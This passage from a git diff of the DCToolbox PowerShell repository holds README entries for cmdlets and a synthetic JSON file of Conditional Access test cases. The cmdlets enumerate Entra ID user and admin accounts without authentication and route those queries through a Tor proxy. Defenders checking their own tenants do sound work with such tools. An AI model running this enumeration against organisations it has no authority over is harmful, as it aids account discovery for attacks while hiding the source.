CMDlets, use the following proxy configuration: +127.0.0.1:9150 + +Note: This CMDlet expects the Tor browser to be installed under C:\Temp\Tor Browser. You can change the path with -TorBrowserPath. + +Download Tor browser: +https://www.torproject.org/download/ + +**Parameters:** + + -TorBrowserPath + Description: The path to the Tor browser directory. Default is 'C:\Temp\Tor Browser'. + Required: false + +**Examples:** + + + Start-DCTorHttpProxy + +--- + +### Test-DCEntraIDCommonAdmins + +**Synopsis:** + +Test if common and easily guessed admin usernames exist for specified Entra ID domains. + +**Details:** + +Uses Test-DCEntraIDUserExistence to test if common and weak admin account names exist in specified Entra ID domains. It uses publicaly available Microsoft endpoints to query for this information. Run help Test-DCEntraIDUserExistence for more info. + +Do not use this script in an unethical or unlawful way. Use it to find weak spots in you Entra ID configuration. + +**Parameters:** + + -Domains + Description: An array of one or more domains to test. + Required: true + + -UseTorHttpProxy + Description: Use a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + Required: false + +**Examples:** + + + Test-DCEntraIDCommonAdmins -UseTorHttpProxy -Domains "example.com", "example2.onmicrosoft.com" + +--- + +### Test-DCEntraIDUserExistence + +**Synopsis:** + +Test if an account exists in Entra ID for specified email addresses. + +**Details:** + +This CMDlet will connect to public endpoints in Entra ID to find out if an account exists for specified email addresses or not. This script works without any authentication to Entra ID. This is called user enumeration in cyber security. + +The script can't see accounts for federated domains (since they are on-prem accounts) but it will tell you what organisation the federated domain belongs to. + +Do not use this script in an unethical or unlawful way. Use it to find weak spots in you Entra ID configuration. + +**Parameters:** + + -Users + Description: An array of one or more user email addresses to test. + Required: true + + -UseTorHttpProxy + Description: Use a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + Required: false + +**Examples:** + + + Test-DCEntraIDUserExistence -UseTorHttpProxy -Users "user1@example.com", "user2@example.com", "user3@example.onmicrosoft.com" + +--- + + +Please follow me on my blog https://danielchronlund.com, on LinkedIn and on X! + +@DanielChronlund diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/100_test_cases_with_deviceFilters.json b/CSTijgers/DCToolbox-main/Scripts&Testcases/100_test_cases_with_deviceFilters.json new file mode 100644 index 0000000..50dfa76 --- /dev/null +++ b/CSTijgers/DCToolbox-main/Scripts&Testcases/100_test_cases_with_deviceFilters.json @@ -0,0 +1,2402 @@ +[ + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-000", + "deviceOwnership": "Personal", + "DisplayName": "Device-000", + "EnrollmentProfileName": "Profile-000", + "isCompliant": true, + "Manufacturer": "Manufacturer-A", + "MdmAppId": "mdm-00000", + "Model": "Model-000", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.0", + "PhysicalIds": "physical-id-000", + "profileType": "RegisteredDevice", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-001", + "deviceOwnership": "Company", + "DisplayName": "Device-001", + "EnrollmentProfileName": "Profile-001", + "isCompliant": false, + "Manufacturer": "Manufacturer-B", + "MdmAppId": "mdm-00001", + "Model": "Model-001", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.1", + "PhysicalIds": "physical-id-001", + "profileType": "SecureVM", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-002", + "deviceOwnership": "Personal", + "DisplayName": "Device-002", + "EnrollmentProfileName": "Profile-002", + "isCompliant": true, + "Manufacturer": "Manufacturer-C", + "MdmAppId": "mdm-00002", + "Model": "Model-002", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.2", + "PhysicalIds": "physical-id-002", + "profileType": "Printer", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-003", + "deviceOwnership": "Company", + "DisplayName": "Device-003", + "EnrollmentProfileName": "Profile-003", + "isCompliant": false, + "Manufacturer": "Manufacturer-D", + "MdmAppId": "mdm-00003", + "Model": "Model-003", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.3", + "PhysicalIds": "physical-id-003", + "profileType": "Shared", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-004", + "deviceOwnership": "Personal", + "DisplayName": "Device-004", + "EnrollmentProfileName": "Profile-004", + "isCompliant": true, + "Manufacturer": "Manufacturer-E", + "MdmAppId": "mdm-00004", + "Model": "Model-004", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.4", + "PhysicalIds": "physical-id-004", + "profileType": "IoT", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-005", + "deviceOwnership": "Company", + "DisplayName": "Device-005", + "EnrollmentProfileName": "Profile-005", + "isCompliant": false, + "Manufacturer": "Manufacturer-F", + "MdmAppId": "mdm-00005", + "Model": "Model-005", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.5", + "PhysicalIds": "physical-id-005", + "profileType": "RegisteredDevice", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-006", + "deviceOwnership": "Personal", + "DisplayName": "Device-006", + "EnrollmentProfileName": "Profile-006", + "isCompliant": true, + "Manufacturer": "Manufacturer-G", + "MdmAppId": "mdm-00006", + "Model": "Model-006", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.6", + "PhysicalIds": "physical-id-006", + "profileType": "SecureVM", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-007", + "deviceOwnership": "Company", + "DisplayName": "Device-007", + "EnrollmentProfileName": "Profile-007", + "isCompliant": false, + "Manufacturer": "Manufacturer-H", + "MdmAppId": "mdm-00007", + "Model": "Model-007", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.7", + "PhysicalIds": "physical-id-007", + "profileType": "Printer", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-008", + "deviceOwnership": "Personal", + "DisplayName": "Device-008", + "EnrollmentProfileName": "Profile-008", + "isCompliant": true, + "Manufacturer": "Manufacturer-I", + "MdmAppId": "mdm-00008", + "Model": "Model-008", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.8", + "PhysicalIds": "physical-id-008", + "profileType": "Shared", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-009", + "deviceOwnership": "Company", + "DisplayName": "Device-009", + "EnrollmentProfileName": "Profile-009", + "isCompliant": false, + "Manufacturer": "Manufacturer-J", + "MdmAppId": "mdm-00009", + "Model": "Model-009", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.9", + "PhysicalIds": "physical-id-009", + "profileType": "IoT", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-010", + "deviceOwnership": "Personal", + "DisplayName": "Device-010", + "EnrollmentProfileName": "Profile-010", + "isCompliant": true, + "Manufacturer": "Manufacturer-K", + "MdmAppId": "mdm-00010", + "Model": "Model-010", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.10", + "PhysicalIds": "physical-id-010", + "profileType": "RegisteredDevice", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-011", + "deviceOwnership": "Company", + "DisplayName": "Device-011", + "EnrollmentProfileName": "Profile-011", + "isCompliant": false, + "Manufacturer": "Manufacturer-L", + "MdmAppId": "mdm-00011", + "Model": "Model-011", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.11", + "PhysicalIds": "physical-id-011", + "profileType": "SecureVM", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-012", + "deviceOwnership": "Personal", + "DisplayName": "Device-012", + "EnrollmentProfileName": "Profile-012", + "isCompliant": true, + "Manufacturer": "Manufacturer-M", + "MdmAppId": "mdm-00012", + "Model": "Model-012", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.12", + "PhysicalIds": "physical-id-012", + "profileType": "Printer", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-013", + "deviceOwnership": "Company", + "DisplayName": "Device-013", + "EnrollmentProfileName": "Profile-013", + "isCompliant": false, + "Manufacturer": "Manufacturer-N", + "MdmAppId": "mdm-00013", + "Model": "Model-013", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.13", + "PhysicalIds": "physical-id-013", + "profileType": "Shared", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-014", + "deviceOwnership": "Personal", + "DisplayName": "Device-014", + "EnrollmentProfileName": "Profile-014", + "isCompliant": true, + "Manufacturer": "Manufacturer-O", + "MdmAppId": "mdm-00014", + "Model": "Model-014", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.14", + "PhysicalIds": "physical-id-014", + "profileType": "IoT", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-015", + "deviceOwnership": "Company", + "DisplayName": "Device-015", + "EnrollmentProfileName": "Profile-015", + "isCompliant": false, + "Manufacturer": "Manufacturer-P", + "MdmAppId": "mdm-00015", + "Model": "Model-015", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.15", + "PhysicalIds": "physical-id-015", + "profileType": "RegisteredDevice", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-016", + "deviceOwnership": "Personal", + "DisplayName": "Device-016", + "EnrollmentProfileName": "Profile-016", + "isCompliant": true, + "Manufacturer": "Manufacturer-Q", + "MdmAppId": "mdm-00016", + "Model": "Model-016", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.16", + "PhysicalIds": "physical-id-016", + "profileType": "SecureVM", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-017", + "deviceOwnership": "Company", + "DisplayName": "Device-017", + "EnrollmentProfileName": "Profile-017", + "isCompliant": false, + "Manufacturer": "Manufacturer-R", + "MdmAppId": "mdm-00017", + "Model": "Model-017", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.17", + "PhysicalIds": "physical-id-017", + "profileType": "Printer", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-018", + "deviceOwnership": "Personal", + "DisplayName": "Device-018", + "EnrollmentProfileName": "Profile-018", + "isCompliant": true, + "Manufacturer": "Manufacturer-S", + "MdmAppId": "mdm-00018", + "Model": "Model-018", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.18", + "PhysicalIds": "physical-id-018", + "profileType": "Shared", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-019", + "deviceOwnership": "Company", + "DisplayName": "Device-019", + "EnrollmentProfileName": "Profile-019", + "isCompliant": false, + "Manufacturer": "Manufacturer-T", + "MdmAppId": "mdm-00019", + "Model": "Model-019", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.19", + "PhysicalIds": "physical-id-019", + "profileType": "IoT", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-020", + "deviceOwnership": "Personal", + "DisplayName": "Device-020", + "EnrollmentProfileName": "Profile-020", + "isCompliant": true, + "Manufacturer": "Manufacturer-U", + "MdmAppId": "mdm-00020", + "Model": "Model-020", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.20", + "PhysicalIds": "physical-id-020", + "profileType": "RegisteredDevice", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-021", + "deviceOwnership": "Company", + "DisplayName": "Device-021", + "EnrollmentProfileName": "Profile-021", + "isCompliant": false, + "Manufacturer": "Manufacturer-V", + "MdmAppId": "mdm-00021", + "Model": "Model-021", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.21", + "PhysicalIds": "physical-id-021", + "profileType": "SecureVM", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-022", + "deviceOwnership": "Personal", + "DisplayName": "Device-022", + "EnrollmentProfileName": "Profile-022", + "isCompliant": true, + "Manufacturer": "Manufacturer-W", + "MdmAppId": "mdm-00022", + "Model": "Model-022", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.22", + "PhysicalIds": "physical-id-022", + "profileType": "Printer", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-023", + "deviceOwnership": "Company", + "DisplayName": "Device-023", + "EnrollmentProfileName": "Profile-023", + "isCompliant": false, + "Manufacturer": "Manufacturer-X", + "MdmAppId": "mdm-00023", + "Model": "Model-023", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.23", + "PhysicalIds": "physical-id-023", + "profileType": "Shared", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-024", + "deviceOwnership": "Personal", + "DisplayName": "Device-024", + "EnrollmentProfileName": "Profile-024", + "isCompliant": true, + "Manufacturer": "Manufacturer-Y", + "MdmAppId": "mdm-00024", + "Model": "Model-024", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.24", + "PhysicalIds": "physical-id-024", + "profileType": "IoT", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-025", + "deviceOwnership": "Company", + "DisplayName": "Device-025", + "EnrollmentProfileName": "Profile-025", + "isCompliant": false, + "Manufacturer": "Manufacturer-Z", + "MdmAppId": "mdm-00025", + "Model": "Model-025", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.25", + "PhysicalIds": "physical-id-025", + "profileType": "RegisteredDevice", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-026", + "deviceOwnership": "Personal", + "DisplayName": "Device-026", + "EnrollmentProfileName": "Profile-026", + "isCompliant": true, + "Manufacturer": "Manufacturer-A", + "MdmAppId": "mdm-00026", + "Model": "Model-026", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.26", + "PhysicalIds": "physical-id-026", + "profileType": "SecureVM", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-027", + "deviceOwnership": "Company", + "DisplayName": "Device-027", + "EnrollmentProfileName": "Profile-027", + "isCompliant": false, + "Manufacturer": "Manufacturer-B", + "MdmAppId": "mdm-00027", + "Model": "Model-027", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.27", + "PhysicalIds": "physical-id-027", + "profileType": "Printer", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-028", + "deviceOwnership": "Personal", + "DisplayName": "Device-028", + "EnrollmentProfileName": "Profile-028", + "isCompliant": true, + "Manufacturer": "Manufacturer-C", + "MdmAppId": "mdm-00028", + "Model": "Model-028", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.28", + "PhysicalIds": "physical-id-028", + "profileType": "Shared", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-029", + "deviceOwnership": "Company", + "DisplayName": "Device-029", + "EnrollmentProfileName": "Profile-029", + "isCompliant": false, + "Manufacturer": "Manufacturer-D", + "MdmAppId": "mdm-00029", + "Model": "Model-029", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.29", + "PhysicalIds": "physical-id-029", + "profileType": "IoT", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-030", + "deviceOwnership": "Personal", + "DisplayName": "Device-030", + "EnrollmentProfileName": "Profile-030", + "isCompliant": true, + "Manufacturer": "Manufacturer-E", + "MdmAppId": "mdm-00030", + "Model": "Model-030", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.30", + "PhysicalIds": "physical-id-030", + "profileType": "RegisteredDevice", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-031", + "deviceOwnership": "Company", + "DisplayName": "Device-031", + "EnrollmentProfileName": "Profile-031", + "isCompliant": false, + "Manufacturer": "Manufacturer-F", + "MdmAppId": "mdm-00031", + "Model": "Model-031", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.31", + "PhysicalIds": "physical-id-031", + "profileType": "SecureVM", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-032", + "deviceOwnership": "Personal", + "DisplayName": "Device-032", + "EnrollmentProfileName": "Profile-032", + "isCompliant": true, + "Manufacturer": "Manufacturer-G", + "MdmAppId": "mdm-00032", + "Model": "Model-032", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.32", + "PhysicalIds": "physical-id-032", + "profileType": "Printer", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-033", + "deviceOwnership": "Company", + "DisplayName": "Device-033", + "EnrollmentProfileName": "Profile-033", + "isCompliant": false, + "Manufacturer": "Manufacturer-H", + "MdmAppId": "mdm-00033", + "Model": "Model-033", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.33", + "PhysicalIds": "physical-id-033", + "profileType": "Shared", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-034", + "deviceOwnership": "Personal", + "DisplayName": "Device-034", + "EnrollmentProfileName": "Profile-034", + "isCompliant": true, + "Manufacturer": "Manufacturer-I", + "MdmAppId": "mdm-00034", + "Model": "Model-034", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.34", + "PhysicalIds": "physical-id-034", + "profileType": "IoT", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-035", + "deviceOwnership": "Company", + "DisplayName": "Device-035", + "EnrollmentProfileName": "Profile-035", + "isCompliant": false, + "Manufacturer": "Manufacturer-J", + "MdmAppId": "mdm-00035", + "Model": "Model-035", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.35", + "PhysicalIds": "physical-id-035", + "profileType": "RegisteredDevice", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-036", + "deviceOwnership": "Personal", + "DisplayName": "Device-036", + "EnrollmentProfileName": "Profile-036", + "isCompliant": true, + "Manufacturer": "Manufacturer-K", + "MdmAppId": "mdm-00036", + "Model": "Model-036", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.36", + "PhysicalIds": "physical-id-036", + "profileType": "SecureVM", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-037", + "deviceOwnership": "Company", + "DisplayName": "Device-037", + "EnrollmentProfileName": "Profile-037", + "isCompliant": false, + "Manufacturer": "Manufacturer-L", + "MdmAppId": "mdm-00037", + "Model": "Model-037", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.37", + "PhysicalIds": "physical-id-037", + "profileType": "Printer", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-038", + "deviceOwnership": "Personal", + "DisplayName": "Device-038", + "EnrollmentProfileName": "Profile-038", + "isCompliant": true, + "Manufacturer": "Manufacturer-M", + "MdmAppId": "mdm-00038", + "Model": "Model-038", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.38", + "PhysicalIds": "physical-id-038", + "profileType": "Shared", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-039", + "deviceOwnership": "Company", + "DisplayName": "Device-039", + "EnrollmentProfileName": "Profile-039", + "isCompliant": false, + "Manufacturer": "Manufacturer-N", + "MdmAppId": "mdm-00039", + "Model": "Model-039", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.39", + "PhysicalIds": "physical-id-039", + "profileType": "IoT", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + 